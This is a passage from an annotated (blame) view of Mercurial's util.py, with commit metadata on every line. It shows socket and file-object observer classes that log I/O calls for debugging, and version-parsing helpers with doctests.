bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
815 if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
816 return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
817
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
818 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
819
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
820 # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
821 def bufferedread(self, res, size):
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
822 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
823 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
824
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
825 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
826 self.fh.write('%s> bufferedread(%d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
827 self.name, size, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
828
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
829 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
830
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
831 def bufferedreadline(self, res):
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
832 if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
833 return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
834
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
835 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
836 self.fh.write('%s> bufferedreadline() -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
837 self.name, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
838
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
839 self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
840
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
841 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
842 logdata=False, logdataapis=True):
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
843 """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
844
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
845 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
846 logdata=logdata, logdataapis=logdataapis)
36524
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
847 return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36432
diff changeset
848
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
849 class socketobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
850 """Logs socket activity."""
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
851 def __init__(self, fh, name, reads=True, writes=True, states=True,
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
852 logdata=False, logdataapis=True):
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
853 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
854 self.name = name
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
855 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
856 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
857 self.states = states
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
858 self.logdata = logdata
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
859 self.logdataapis = logdataapis
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
860
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
861 def makefile(self, res, mode=None, bufsize=None):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
862 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
863 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
864
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
865 self.fh.write('%s> makefile(%r, %r)\n' % (
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
866 self.name, mode, bufsize))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
867
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
868 def recv(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
869 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
870 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
871
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
872 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
873 self.fh.write('%s> recv(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
874 self.name, size, flags, len(res)))
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
875 self._writedata(res)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
876
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
877 def recvfrom(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
878 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
879 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
880
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
881 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
882 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
883 self.name, size, flags, len(res[0])))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
884
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
885 self._writedata(res[0])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
886
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
887 def recvfrom_into(self, res, buf, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
888 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
889 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
890
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
891 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
892 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
893 self.name, size, flags, res[0]))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
894
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
895 self._writedata(buf[0:res[0]])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
896
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
897 def recv_into(self, res, buf, size=0, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
898 if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
899 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
900
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
901 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
902 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
903 self.name, size, flags, res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
904
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
905 self._writedata(buf[0:res])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
906
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
907 def send(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
908 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
909 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
910
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
911 self.fh.write('%s> send(%d, %d) -> %d' % (
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
912 self.name, len(data), flags, len(res)))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
913 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
914
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
915 def sendall(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
916 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
917 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
918
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
919 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
920 # Returns None on success. So don't bother reporting return value.
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
921 self.fh.write('%s> sendall(%d, %d)' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
922 self.name, len(data), flags))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
923
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
924 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
925
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
926 def sendto(self, res, data, flagsoraddress, address=None):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
927 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
928 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
929
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
930 if address:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
931 flags = flagsoraddress
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
932 else:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
933 flags = 0
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
934
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
935 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
936 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
937 self.name, len(data), flags, address, res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
938
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
939 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
940
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
941 def setblocking(self, res, flag):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
942 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
943 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
944
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
945 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
946
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
947 def settimeout(self, res, value):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
948 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
949 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
950
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
951 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
952
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
953 def gettimeout(self, res):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
954 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
955 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
956
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
957 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
958
39060
ed8160e4fea0 util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents: 38812
diff changeset
959 def setsockopt(self, res, level, optname, value):
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
960 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
961 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
962
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
963 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
39060
ed8160e4fea0 util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents: 38812
diff changeset
964 self.name, level, optname, value, res))
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
965
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
966 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
967 logdata=False, logdataapis=True):
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
968 """Turn a socket into a logging socket."""
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
969
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
970 observer = socketobserver(logh, name, reads=reads, writes=writes,
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
971 states=states, logdata=logdata,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
972 logdataapis=logdataapis)
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
973 return socketproxy(fh, observer)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
974
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
975 def version():
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
976 """Return version information if available."""
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
977 try:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
978 from . import __version__
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
979 return __version__.version
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
980 except ImportError:
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
981 return 'unknown'
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
982
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
983 def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
984 """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
985
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
986 The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
987 If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
988
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
989 ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
990 returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
991
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
992 >>> v = b'3.6.1+190-df9b73d2d444'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
993 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
994 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
995 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
996 (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
997 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
998 (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
999
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1000 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1001 (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1002
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1003 >>> v = b'3.6'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1004 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1005 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1006 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1007 (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1008 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1009 (3, 6, None, None)
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1010
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1011 >>> v = b'3.9-rc'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1012 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1013 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1014 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
